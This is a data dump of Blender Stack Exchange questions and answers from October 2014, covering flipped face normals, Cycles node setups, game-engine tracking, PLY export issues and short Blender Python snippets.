  <row Id="16602" PostTypeId="1" AcceptedAnswerId="16609" CreationDate="2014-10-09T13:25:05.883" Score="9" ViewCount="5221" Body="&lt;p&gt;While hunting down some wrong-flipped faces I find it a bit tedious to differentiate the color of the wrong-sided face with the right-sided face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be very handy if the wrong-sided faces would have the color red. How can I use a trick for that?&lt;/p&gt;&#xA;" OwnerUserId="6281" LastEditorUserId="2217" LastEditDate="2015-05-24T21:11:52.067" LastActivityDate="2021-04-25T22:07:08.420" Title="color faces with wrong normals" Tags="&lt;objects&gt;&lt;normals&gt;&lt;faces&gt;&lt;3d-view&gt;" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16603" PostTypeId="2" ParentId="16587" CreationDate="2014-10-09T13:25:33.793" Score="2" Body="&lt;p&gt;In 3D animation the sound and video are generally two separate things. Supposing you did get your sound to play with the particle system, you would still need to out put the whole animation to a video format including sound. Which rules out a image sequence, the best way to render an animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be easier to just render out your animation of the ship firing its lasers. Then in something like the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer/Usage&quot; rel=&quot;nofollow&quot;&gt;video sequence editor&lt;/a&gt; (or any other video editor) just add the sound file at the right time to match the firing lasers.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-10-09T13:25:33.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16605" PostTypeId="2" ParentId="16602" CreationDate="2014-10-09T13:33:30.857" Score="0" Body="&lt;p&gt;You could always select them and assign them a new material. I don't know if you want it to render that color but it will using this method. Here is a Blender Wiki on the topic: &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Multiple_Materials&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Multiple_Materials&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5267" LastActivityDate="2014-10-09T13:33:30.857" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16608" PostTypeId="2" ParentId="16602" CreationDate="2014-10-09T13:51:02.647" Score="5" Body="&lt;p&gt;If you use Cycles, you can add a Geometry compositor node (Input -&gt; Geometry), and attach that to the Color input of a Diffuse BSDF shader. Here's a screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cxMb3.png&quot; alt=&quot;Screenshot of material setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will render the back-facing faces in white, and the others in black. Should be easy enough to see which one is which. In this example I flipped the normal of one triangle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, go into edit mode, and turn on face normals.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2014-10-09T13:51:02.647" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16609" PostTypeId="2" ParentId="16602" CreationDate="2014-10-09T13:51:12.020" Score="9" Body="&lt;p&gt;There are several things you could do to make finding flipped normals easier.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn on &lt;em&gt;Backface Culling&lt;/em&gt;. In edit mode press &lt;kbd&gt;N&lt;/kbd&gt; then scroll down to the &lt;em&gt;Shading&lt;/em&gt; section. Check the box for &lt;em&gt;Backface Culling&lt;/em&gt;. That will make all the backs of the faces clear, so if one is backwards it will be completely transparent.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn on the display of normals. In edit mode press &lt;kbd&gt;N&lt;/kbd&gt; then scroll down to the &lt;em&gt;Mesh Display&lt;/em&gt; section. Check the box for &lt;em&gt;Display face normals&lt;/em&gt;. That will show little lines pointing out from each face, if a face is backwards then the line will point in.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Jd7m.png&quot; alt=&quot;Mesh display&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can make a simple cycles material to show the backwards faces. The two &lt;em&gt;Diffuse&lt;/em&gt; shaders are used to get the red and white colors. The &lt;em&gt;Geometry&lt;/em&gt; node has a backfacing socket, that plugged in to the &lt;em&gt;mix shader&lt;/em&gt; makes the difference between the correct faces and the backwards faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will display flipped faces as red while in material view, but if your graphics card does not support GLSL you will have to be in &lt;em&gt;Rendered&lt;/em&gt; view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AUkkY.png&quot; alt=&quot;cycles material nodes&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="599" LastEditDate="2014-10-09T20:25:31.060" LastActivityDate="2014-10-09T20:25:31.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16610" PostTypeId="2" ParentId="16527" CreationDate="2014-10-09T13:53:31.830" Score="0" Body="&lt;p&gt;I opted to manually animate the camera and keep a single particle object (piece of paper) in the field of view. Thanks&lt;/p&gt;&#xA;" OwnerUserId="809" LastActivityDate="2014-10-09T13:53:31.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16611" PostTypeId="2" ParentId="16440" CreationDate="2014-10-09T13:58:31.737" Score="0" Body="&lt;p&gt;is a great video for your problem. it does involve some python but that's mostly taken care of in the description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=-IeNnw6zzvQ&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=-IeNnw6zzvQ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if your character want to walk though walls and obstacles just to get to the pointer, you'll have to set up a more complex NavMesh.&#xA;this is basically a mesh that covers all the area that the characters have access to.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-10-09T13:58:31.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16612" PostTypeId="1" AcceptedAnswerId="17783" CreationDate="2014-10-09T14:09:44.613" Score="3" ViewCount="229" Body="&lt;p&gt;How do I get my projectiles to follow my cursor until they pass it.&#xA;I'm looking for an effect like homing missiles, but when they reach the corsors position, I want them to continue on their current trajectory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current situation is that they reach my cursor and then fly around it like an angry swarm of bees. They follow it everywhere rather than going past.&#xA;Here is my code for my tracker,  don't think its the problem though.&#xA;I copied it out of a tutorial, so I wouldn't know if it has issues.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;def main():&#xA;    scene = logic.getCurrentScene()&#xA;    cont = logic.getCurrentController()&#xA;&#xA;    mouse_over = cont.sensors[&quot;Mouse_over&quot;]&#xA;&#xA;    if mouse_over.positive:&#xA;        tracker = scene.objects[&quot;Tracker&quot;]&#xA;        tracker.worldPosition = mouse_over.hitPosition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also download my file here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/32080&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/32080&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2016-07-30T16:39:36.263" LastActivityDate="2016-07-30T16:39:36.263" Title="Projectiles in the BGE" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16613" PostTypeId="2" ParentId="16500" CreationDate="2014-10-09T14:29:42.453" Score="3" Body="&lt;p&gt;As @Lord Spectre said, &lt;code&gt;blender.exe&lt;/code&gt; is a launcher to &lt;code&gt;blender-app.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?350130-blender-exe-vs-blender-app-exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; thread on BlenderArtist:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When the devs moved Blender windows compilation to use mscv2013, it broke the OpenMP support for windows (that makes some functions multithreaded) (while legacy mscv2008 builds were still working good with OpenMP)&lt;/p&gt;&#xA;&lt;p&gt;This nasty problem was noticed first in a sculpt mode report in which a simple brush stroke on even very low poly stuff was pulling CPU usage to 100% (without any actual performance gain) instead of the +/- 30 CPU use.&lt;/p&gt;&#xA;&lt;p&gt;As a solution, the devs went with a &amp;quot;launcher&amp;quot; that would apparently set some variable to lower the impact of OpenMP breakage , the discussion between dev can be read on the august mailing list &amp;quot;&lt;a href=&quot;http://lists.blender.org/pipermail/bf-committers/2014-August/thread.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;[Bf-committers] OpenMP issues with msvc2013 builds&lt;/a&gt;&amp;quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6414" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-10-09T15:04:49.817" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16614" PostTypeId="2" ParentId="16594" CreationDate="2014-10-09T14:45:42.493" Score="2" Body="&lt;p&gt;Seeing a cone of light requires a bit of playing around with a couple of variables.&#xA;Once you add volume scattering in your world, the lights in the scene get dimmer, as they have to travel through the &quot;foggy atmosphere&quot;. You'll have to increase the values for the lights quite a lot. The brightness will then depend on the density of the volume scattering, the intensity of the light, and the distance of the objects to the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to remember is that the lights will be more noticeable against a dark background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a cleaner render increase the number of samples for volume (set by default to 0) in the light paths tab, and increase also the number of overall samples for the render (and expect much, much longer rendering times)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TKDB5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: Just to illustrate how changing the camera distance affects things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the camera was moved further away, I had to change the density to a lower value and increase the value in the lamp's brightness to keep things visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YmGWd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-10-09T17:42:48.077" LastActivityDate="2014-10-09T17:42:48.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16615" PostTypeId="1" CreationDate="2014-10-09T14:53:51.537" Score="0" ViewCount="1012" Body="&lt;p&gt;I'm fairly new to Blender and 3D modelling in general. I segmented 4 different structures from a CT scan, three lymph nodes and the the surrounding skin surface. I imported these models into Blender and applied some remeshing and smoothing.&lt;br&gt;&#xA;After that, I'm exporting the models as .ply files and reading them inside my OpenGL program. I implemented my own PLY-parser which seems to work perfectly fine for the three lymph nodes, however the vertex order of the skin seems to be totally messed up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find any errors in my code and I'm pretty sure there is something wrong before exporting the skin model from Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what could be different for the skin model and the lymph nodes??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/jcU7I.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jcU7Im.png&quot; alt=&quot;lymph nodes&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ckD3S.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ckD3Sm.png&quot; alt=&quot;skin model&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These three are images of different draw modes in OpenGL (Points, Lines and Triangles):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dKDGUm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dKDGUm.png&quot; alt=&quot;points draw modes&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/taLGfm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/taLGfm.png&quot; alt=&quot;lines draw modes&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ntx9Pm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ntx9Pm.png&quot; alt=&quot;triangles draw modes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6415" LastEditorUserId="2217" LastEditDate="2016-12-19T23:48:10.417" LastActivityDate="2016-12-19T23:48:10.417" Title="Vertex Ordering Messed up on exported .ply file" Tags="&lt;mesh&gt;&lt;export&gt;&lt;opengl&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16616" PostTypeId="2" ParentId="16576" CreationDate="2014-10-09T15:31:44.767" Score="0" Body="&lt;p&gt;Ultimately, I just uninstalled both installations, choosing to remove configs, autosaves and addons both times (though I saved my startup file to desktop beforehand). A fresh reinstall of 2.72 seems to have solved the problem: the console is no longer a flickering mass of errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My startup file contains all my standard measurement settings and a quick meander through User Preferences &gt; Addons allowed me to reactivate my standard addons. Downloaded and installed MeshLint and I'm about ready to go. (Further addons can wait)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In hindsight, the problem was dumb and the solution obvious. =) Many thanks to TobiMarg and Sybren who gave me excellent advice in an attempt to save the structure - in the end I just razed it to the ground...!&lt;/p&gt;&#xA;" OwnerUserId="1203" LastActivityDate="2014-10-09T15:31:44.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16617" PostTypeId="1" AcceptedAnswerId="16619" CreationDate="2014-10-09T15:45:19.050" Score="8" ViewCount="2758" Body="&lt;p&gt;How to get all of the objects assigned to a group in Blender Python?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for group in bpy.data.groups:&#xA;    # How to get all objects in group?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6397" LastActivityDate="2014-10-09T16:14:52.747" Title="How to retrieve the objects of a group" Tags="&lt;objects&gt;&lt;groups&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16618" PostTypeId="1" CreationDate="2014-10-09T15:49:58.573" Score="0" ViewCount="218" Body="&lt;p&gt;I use Cycles renderer and nodes to output the image, normals and UVs at the same time. Here is what it looks light.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Up7E1.jpg&quot; alt=&quot;Nodes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The preview in the RenderLayers node is what I expect (world positions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I press F12, in the Image file (Image0000.exr for the frame 0, etc), I get this :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UYcrS.jpg&quot; alt=&quot;Viewer node output&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of the expected result :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5S6NT.jpg&quot; alt=&quot;The render result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I think that in the first image the cubes are here, they're just the same colour as the plane).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The preview gives me the correct image but the output is wrong. And if I press the Animation button, the result is correct in the files 0000.exr, etc, but wrong in Image0000.exr, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? Is there a problem in my nodes ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help! &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thanks for the advice for using backdrop to debug, I figured out that it is the alpha node that was problematic :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JeRxE.jpg&quot; alt=&quot;Incorrect result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rdUrh.jpg&quot; alt=&quot;Correct result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone explain to me how this alpha node works ? Apparently I got it completely wrong.&lt;/p&gt;&#xA;" OwnerUserId="4854" LastEditorUserId="4854" LastEditDate="2014-10-09T18:05:37.573" LastActivityDate="2014-10-09T20:16:48.887" Title="Output file different from preview" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="16619" PostTypeId="2" ParentId="16617" CreationDate="2014-10-09T15:58:46.350" Score="8" Body="&lt;p&gt;Each group in blender has an 'objects' property which stores all members of that group as a list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the context of your script this would loop through each group in the blend file and print the name of each object in that group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for group in bpy.data.groups:&#xA;    for object in group.objects:&#xA;        print(object.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although, if you simply wanted to access the list, no looping is necessary, you can simply use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.groups['GroupName'].objects&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then access objects with:&#xA; &lt;code&gt;...objects[0].name&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="2217" LastEditDate="2014-10-09T16:14:52.747" LastActivityDate="2014-10-09T16:14:52.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16620" PostTypeId="2" ParentId="16618" CreationDate="2014-10-09T16:40:57.030" Score="-1" Body="&lt;p&gt;Change your image output to .PNG as inspection tool.  Render the image and preview it the compositing node viewer, with backdrop selected, as an inspection tool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press 0 a few times to see Camera View and User View.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose the RGBA or RGB channels icon to view the image the correctly.  Choosing Alpha would give a incorrect result.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the preview mode to be in Render.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2014-10-09T17:18:07.637" LastActivityDate="2014-10-09T17:18:07.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16622" PostTypeId="1" CreationDate="2014-10-09T17:44:57.957" Score="7" ViewCount="9046" Body="&lt;p&gt;I only want to be able to select vertices that are on faces facing me, but I frequently select vertices that are on the other side of the mesh. It's a bit annoying as far as workflow. I know about the limit selection to visible button, but that's not what I'm referring to. Is there a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example. Though even when the mesh is closed, blender will snap onto vertices from the other side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fH3uO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6402" LastEditorUserId="3078" LastEditDate="2015-12-30T16:23:08.980" LastActivityDate="2015-12-30T20:32:56.130" Title="How can I stop Blender from selecting vertices on backfaces?" Tags="&lt;vertices&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16623" PostTypeId="2" ParentId="5283" CreationDate="2014-10-09T18:16:24.570" Score="3" Body="&lt;p&gt;The object with the texture needs to have its &lt;em&gt;Maximum Draw Type&lt;/em&gt; set to &lt;em&gt;Textured&lt;/em&gt;. This setting is in Properties Editor &gt; Object settings then the &lt;em&gt;Display&lt;/em&gt; section. This applies to Cycles and Blender Internal.&lt;/p&gt;&#xA;" OwnerUserId="6418" LastEditorUserId="2217" LastEditDate="2014-10-09T18:40:49.493" LastActivityDate="2014-10-09T18:40:49.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16624" PostTypeId="1" AcceptedAnswerId="16625" CreationDate="2014-10-09T18:37:22.040" Score="3" ViewCount="3087" Body="&lt;p&gt;In the game engine, my object needs to point at a target. How can I get it to aim at something that is constantly moving in unpredictable patterns?&#xA;The &lt;em&gt;constraints&lt;/em&gt; actuator does not have a &quot;track to&quot; that I can see however the 'track to' is exactly the effect I want.&#xA;I'm using v. 2.71.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2015-04-17T22:54:54.783" LastActivityDate="2015-04-17T22:54:54.783" Title="How do I get constraints to work in game engine?" Tags="&lt;game-engine&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16625" PostTypeId="2" ParentId="16624" CreationDate="2014-10-09T18:42:28.090" Score="6" Body="&lt;p&gt;Ok. got i figured out.&#xA;i just needed to use the &quot;edit object&quot; actuator and change it to track.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I was trying to create a gun that aimed at a moving object, which, in my case was cross-hairs that moved with my mouse. The problem I encountered was that when I added a 'Track To' object constraint to my gun, it would work in object or edit mode. However, when the game went into run-time, the object would stay immobile rather than tracking to my cursor as it had before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution was removing the object constraint under the properties panel, and adding an 'Edit Object' actuator to the gun, changing the type to 'Track To'and selecting the cross-hairs as the target object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afterword, enabling '3D' tracking allowed my weapon to follow the cursor even above the 2-dimensional plane it was on.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="12" LastEditDate="2014-10-10T20:50:18.543" LastActivityDate="2014-10-10T20:50:18.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16626" PostTypeId="2" ParentId="16602" CreationDate="2014-10-09T19:13:14.380" Score="8" Body="&lt;p&gt;Not a color coded solution but I think it's worth mentioning:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a situation where some of the normals are facing in a different direction,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WxWz5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one of my favorite tools is: &lt;strong&gt;Make Normals Consistent&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all faces &lt;kbd&gt;A&lt;/KBD&gt; and press &lt;kbd&gt;Ctrl&lt;/KBD&gt;&lt;kbd&gt;N&lt;/KBD&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qve8F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has saved me a few times...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/epfVN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-10-09T19:25:32.360" LastActivityDate="2014-10-09T19:25:32.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16627" PostTypeId="2" ParentId="16618" CreationDate="2014-10-09T20:16:48.887" Score="1" Body="&lt;p&gt;I'm not sure what you want the alpha over node to be doing there, but it's whats causing the white output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something as simple as this should work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dSAHX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/31987&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-09T20:16:48.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16628" PostTypeId="1" AcceptedAnswerId="16632" CreationDate="2014-10-09T21:29:05.930" Score="0" ViewCount="83" Body="&lt;p&gt;I'm assuming its the lighting but if not will that mean I'll have to retexture my entire character?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RHHG8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2014-10-10T02:17:16.437" Title="Blender Character looks abnormally smooth" Tags="&lt;light&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16629" PostTypeId="2" ParentId="16595" CreationDate="2014-10-09T22:13:09.400" Score="9" Body="&lt;p&gt;What you are looking for probably, is running a timer alongside the modal operator, so you can check the serial data whenever the operator gets executed with a timer event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There already is a code template in blender, that shows you how to do this.&#xA;Look for the &lt;strong&gt;Template&lt;/strong&gt; menu entry at the bottom of the Text Editor and select &lt;strong&gt;Python &gt; Operator Modal Timer&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant code is in the execute function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wm = context.window_manager&#xA;self._timer = wm.event_timer_add(0.1, context.window)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 0.1 controls the time interval between successive timer events in seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can check for a timer event in modal with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if event.type == 'TIMER':&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And for cleanup in the cancel function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wm = context.window_manager&#xA;wm.event_timer_remove(self._timer)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6419" LastActivityDate="2014-10-09T22:13:09.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16631" PostTypeId="2" ParentId="16601" CreationDate="2014-10-09T22:23:18.120" Score="1" Body="&lt;p&gt;After looking at your mesh for a few minutes, I noticed the shading was a bit off.  I recalculated the normals, and texture painting worked just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how it is done:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into edit mode and select everything.  Then in the Tool Shelf go to the shading tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then click the Recalculate Normals button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/76236043/imgs/normals.PNG&quot; alt=&quot;normals&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing this Texture Paint mode should work as expected!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other thing that might help while Texture Painting is to re-unwrap your model.  I noticed that the UV unwrapping was very messy and jumbled.  If you don't know how, look into how to mark seams for your mesh so you can unwrap the whole mesh on one UV map with minimal stretching.  That will allow for less visible seams and a smoother workflow while painting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="5505" LastActivityDate="2014-10-09T22:23:18.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16632" PostTypeId="2" ParentId="16628" CreationDate="2014-10-10T02:17:16.437" Score="1" Body="&lt;p&gt;The hood may have had smooth shading applied to it.  To remove this, I have two solutions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the character is one object, then select it. On the tools tab of the Tool Shelf there is an option under Shading called flat. Select that and the whole mesh should have flat shading.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the character is multiple objects, then select the hood. Then repeat the step above to apply flat shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://dl.dropboxusercontent.com/u/76236043/imgs/shading.PNG&quot; alt=&quot;Image&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="5505" LastActivityDate="2014-10-10T02:17:16.437" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
